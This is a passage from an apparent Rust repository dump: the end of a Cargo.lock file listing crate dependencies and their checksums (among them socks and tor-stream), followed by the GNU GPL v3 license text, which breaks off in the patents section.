518 | "winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
519 | ]
520 |
521 | [[package]]
522 | name = "winapi-build"
523 | version = "0.1.1"
524 | source = "registry+https://github.com/rust-lang/crates.io-index"
525 |
526 | [[package]]
527 | name = "winapi-i686-pc-windows-gnu"
528 | version = "0.4.0"
529 | source = "registry+https://github.com/rust-lang/crates.io-index"
530 |
531 | [[package]]
532 | name = "winapi-x86_64-pc-windows-gnu"
533 | version = "0.4.0"
534 | source = "registry+https://github.com/rust-lang/crates.io-index"
535 |
536 | [[package]]
537 | name = "ws2_32-sys"
538 | version = "0.2.1"
539 | source = "registry+https://github.com/rust-lang/crates.io-index"
540 | dependencies = [
541 | "winapi 0.2.8 (registry+https://github.com/rust-lang/crates.io-index)",
542 | "winapi-build 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)",
543 | ]
544 |
545 | [metadata]
546 | "checksum ansi_term 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ee49baf6cb617b853aa8d93bf420db2383fab46d314482ca2803b40d5fde979b"
547 | "checksum arrayvec 0.4.10 (registry+https://github.com/rust-lang/crates.io-index)" = "92c7fb76bc8826a8b33b4ee5bb07a247a81e76764ab4d55e8f73e3a4d8808c71"
548 | "checksum atty 0.2.11 (registry+https://github.com/rust-lang/crates.io-index)" = "9a7d5b8723950951411ee34d271d99dddcc2035a16ab25310ea2c8cfd4369652"
549 | "checksum bitflags 1.0.4 (registry+https://github.com/rust-lang/crates.io-index)" = "228047a76f468627ca71776ecdebd732a3423081fcf5125585bcd7c49886ce12"
550 | "checksum byteorder 1.3.1 (registry+https://github.com/rust-lang/crates.io-index)" = "a019b10a2a7cdeb292db131fc8113e57ea2a908f6e7894b0c3c671893b65dbeb"
551 | "checksum cc 1.0.35 (registry+https://github.com/rust-lang/crates.io-index)" = "5e5f3fee5eeb60324c2781f1e41286bdee933850fff9b3c672587fed5ec58c83"
552 | "checksum cfg-if 0.1.7 (registry+https://github.com/rust-lang/crates.io-index)" = "11d43355396e872eefb45ce6342e4374ed7bc2b3a502d1b28e36d6e23c05d1f4"
553 | "checksum clap 2.33.0 (registry+https://github.com/rust-lang/crates.io-index)" = "5067f5bb2d80ef5d68b4c87db81601f0b75bca627bc2ef76b141d7b846a3c6d9"
554 | "checksum colored 1.7.0 (registry+https://github.com/rust-lang/crates.io-index)" = "6e9a455e156a4271e12fd0246238c380b1e223e3736663c7a18ed8b6362028a9"
555 | "checksum crossbeam 0.7.1 (registry+https://github.com/rust-lang/crates.io-index)" = "b14492071ca110999a20bf90e3833406d5d66bfd93b4e52ec9539025ff43fe0d"
556 | "checksum crossbeam-channel 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)" = "0f0ed1a4de2235cabda8558ff5840bffb97fcb64c97827f354a451307df5f72b"
557 | "checksum crossbeam-deque 0.7.1 (registry+https://github.com/rust-lang/crates.io-index)" = "b18cd2e169ad86297e6bc0ad9aa679aee9daa4f19e8163860faf7c164e4f5a71"
558 | "checksum crossbeam-epoch 0.7.1 (registry+https://github.com/rust-lang/crates.io-index)" = "04c9e3102cc2d69cd681412141b390abd55a362afc1540965dad0ad4d34280b4"
559 | "checksum crossbeam-queue 0.1.2 (registry+https://github.com/rust-lang/crates.io-index)" = "7c979cd6cfe72335896575c6b5688da489e420d36a27a0b9eb0c73db574b4a4b"
560 | "checksum crossbeam-utils 0.6.5 (registry+https://github.com/rust-lang/crates.io-index)" = "f8306fcef4a7b563b76b7dd949ca48f52bc1141aa067d2ea09565f3e2652aa5c"
561 | "checksum ctrlc 3.1.2 (registry+https://github.com/rust-lang/crates.io-index)" = "5531b7f0698d9220b4729f8811931dbe0e91a05be2f7b3245fdc50dd856bae26"
562 | "checksum fern 0.5.8 (registry+https://github.com/rust-lang/crates.io-index)" = "29d26fa0f4d433d1956746e66ec10d6bf4d6c8b93cd39965cceea7f7cc78c7dd"
563 | "checksum generator 0.6.13 (registry+https://github.com/rust-lang/crates.io-index)" = "030a18f58d450557bb6dec58048357637e990c53f5c43b13104217130e549243"
564 | "checksum heck 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)" = "20564e78d53d2bb135c343b3f47714a56af2061f1c928fdb541dc7b9fdd94205"
565 | "checksum humantime 1.2.0 (registry+https://github.com/rust-lang/crates.io-index)" = "3ca7e5f2e110db35f93b837c81797f3714500b81d517bf20c431b16d3ca4f114"
566 | "checksum itoa 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)" = "1306f3464951f30e30d12373d31c79fbd52d236e5e896fd92f96ec7babbbe60b"
567 | "checksum lazy_static 1.3.0 (registry+https://github.com/rust-lang/crates.io-index)" = "bc5729f27f159ddd61f4df6228e827e86643d4d3e7c32183cb30a1c08f604a14"
568 | "checksum libc 0.2.53 (registry+https://github.com/rust-lang/crates.io-index)" = "ec350a9417dfd244dc9a6c4a71e13895a4db6b92f0b106f07ebbc3f3bc580cee"
569 | "checksum log 0.4.6 (registry+https://github.com/rust-lang/crates.io-index)" = "c84ec4b527950aa83a329754b01dbe3f58361d1c5efacd1f6d68c494d08a17c6"
570 | "checksum may 0.3.7 (registry+https://github.com/rust-lang/crates.io-index)" = "4e42b92aa317adae6b95089a7e470ec94c0ca7c4ba599e59f4aca3a423407d9e"
571 | "checksum may_queue 0.1.5 (registry+https://github.com/rust-lang/crates.io-index)" = "ce275a5949583104125326f74ddea3823ce39e9d11ee3fc5f57aa4c6e433d110"
572 | "checksum memoffset 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)" = "0f9dc261e2b62d7a622bf416ea3c5245cdd5d9a7fcc428c0d06804dfce1775b3"
573 | "checksum miow 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)" = "396aa0f2003d7df8395cb93e09871561ccc3e785f0acb369170e8cc74ddf9226"
574 | "checksum nix 0.13.0 (registry+https://github.com/rust-lang/crates.io-index)" = "46f0f3210768d796e8fa79ec70ee6af172dacbe7147f5e69be5240a47778302b"
575 | "checksum nodrop 0.1.13 (registry+https://github.com/rust-lang/crates.io-index)" = "2f9667ddcc6cc8a43afc9b7917599d7216aa09c463919ea32c59ed6cac8bc945"
576 | "checksum num_cpus 1.10.0 (registry+https://github.com/rust-lang/crates.io-index)" = "1a23f0ed30a54abaa0c7e83b1d2d87ada7c3c23078d1d87815af3e3b6385fbba"
577 | "checksum numtoa 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "b8f8bdf33df195859076e54ab11ee78a1b208382d3a26ec40d142ffc1ecc49ef"
578 | "checksum proc-macro2 0.4.28 (registry+https://github.com/rust-lang/crates.io-index)" = "ba92c84f814b3f9a44c5cfca7d2ad77fa10710867d2bbb1b3d175ab5f47daa12"
579 | "checksum quick-error 1.2.2 (registry+https://github.com/rust-lang/crates.io-index)" = "9274b940887ce9addde99c4eee6b5c44cc494b182b97e73dc8ffdcb3397fd3f0"
580 | "checksum quote 0.6.12 (registry+https://github.com/rust-lang/crates.io-index)" = "faf4799c5d274f3868a4aae320a0a182cbd2baee377b378f080e16a23e9d80db"
581 | "checksum redox_syscall 0.1.54 (registry+https://github.com/rust-lang/crates.io-index)" = "12229c14a0f65c4f1cb046a3b52047cdd9da1f4b30f8a39c5063c8bae515e252"
582 | "checksum redox_termios 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)" = "7e891cfe48e9100a70a3b6eb652fef28920c117d366339687bd5576160db0f76"
583 | "checksum rustc_version 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)" = "138e3e0acb6c9fb258b19b67cb8abd63c00679d2851805ea151465464fe9030a"
584 | "checksum ryu 0.2.7 (registry+https://github.com/rust-lang/crates.io-index)" = "eb9e9b8cde282a9fe6a42dd4681319bfb63f121b8a8ee9439c6f4107e58a46f7"
585 | "checksum scopeguard 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)" = "94258f53601af11e6a49f722422f6e3425c52b06245a5cf9bc09908b174f5e27"
586 | "checksum semver 0.9.0 (registry+https://github.com/rust-lang/crates.io-index)" = "1d7eb9ef2c18661902cc47e535f9bc51b78acd254da71d375c2f6720d9a40403"
587 | "checksum semver-parser 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)" = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3"
588 | "checksum serde 1.0.90 (registry+https://github.com/rust-lang/crates.io-index)" = "aa5f7c20820475babd2c077c3ab5f8c77a31c15e16ea38687b4c02d3e48680f4"
589 | "checksum serde_derive 1.0.90 (registry+https://github.com/rust-lang/crates.io-index)" = "58fc82bec244f168b23d1963b45c8bf5726e9a15a9d146a067f9081aeed2de79"
590 | "checksum serde_json 1.0.39 (registry+https://github.com/rust-lang/crates.io-index)" = "5a23aa71d4a4d43fdbfaac00eff68ba8a06a51759a89ac3304323e800c4dd40d"
591 | "checksum smallvec 0.6.9 (registry+https://github.com/rust-lang/crates.io-index)" = "c4488ae950c49d403731982257768f48fada354a5203fe81f9bb6f43ca9002be"
592 | "checksum socket2 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)" = "c4d11a52082057d87cb5caa31ad812f4504b97ab44732cd8359df2e9ff9f48e7"
593 | "checksum socks 0.3.2 (registry+https://github.com/rust-lang/crates.io-index)" = "e6a64cfa9346d26e836a49fcc1ddfcb4d3df666b6787b6864db61d4918e1cbc2"
594 | "checksum strsim 0.8.0 (registry+https://github.com/rust-lang/crates.io-index)" = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a"
595 | "checksum structopt 0.2.15 (registry+https://github.com/rust-lang/crates.io-index)" = "3d0760c312538987d363c36c42339b55f5ee176ea8808bbe4543d484a291c8d1"
596 | "checksum structopt-derive 0.2.15 (registry+https://github.com/rust-lang/crates.io-index)" = "528aeb7351d042e6ffbc2a6fb76a86f9b622fdf7c25932798e7a82cb03bc94c6"
597 | "checksum syn 0.15.33 (registry+https://github.com/rust-lang/crates.io-index)" = "ec52cd796e5f01d0067225a5392e70084acc4c0013fa71d55166d38a8b307836"
598 | "checksum termion 1.5.2 (registry+https://github.com/rust-lang/crates.io-index)" = "dde0593aeb8d47accea5392b39350015b5eccb12c0d98044d856983d89548dea"
599 | "checksum textwrap 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)" = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060"
600 | "checksum time 0.1.42 (registry+https://github.com/rust-lang/crates.io-index)" = "db8dcfca086c1143c9270ac42a2bbd8a7ee477b78ac8e45b19abfb0cbede4b6f"
601 | "checksum tor-stream 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)" = "5865109fc90e0bc0f8c299f3794ca0fd5771df988aa6b962d4c9129c39674746"
602 | "checksum unicode-segmentation 1.2.1 (registry+https://github.com/rust-lang/crates.io-index)" = "aa6024fc12ddfd1c6dbc14a80fa2324d4568849869b779f6bd37e5e4c03344d1"
603 | "checksum unicode-width 0.1.5 (registry+https://github.com/rust-lang/crates.io-index)" = "882386231c45df4700b275c7ff55b6f3698780a650026380e72dabe76fa46526"
604 | "checksum unicode-xid 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "fc72304796d0818e357ead4e000d19c9c174ab23dc11093ac919054d20a6a7fc"
605 | "checksum vec_map 0.8.1 (registry+https://github.com/rust-lang/crates.io-index)" = "05c78687fb1a80548ae3250346c3db86a80a7cdd77bda190189f2d0a0987c81a"
606 | "checksum void 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)" = "6a02e4885ed3bc0f2de90ea6dd45ebcbb66dacffe03547fadbb0eeae2770887d"
607 | "checksum winapi 0.2.8 (registry+https://github.com/rust-lang/crates.io-index)" = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a"
608 | "checksum winapi 0.3.7 (registry+https://github.com/rust-lang/crates.io-index)" = "f10e386af2b13e47c89e7236a7a14a086791a2b88ebad6df9bf42040195cf770"
609 | "checksum winapi-build 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)" = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc"
610 | "checksum winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
611 | "checksum winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
612 | "checksum ws2_32-sys 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)" = "d59cefebd0c892fa2dd6de581e937301d8552cb44489cdff035c6187cb63fa5e"
613 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
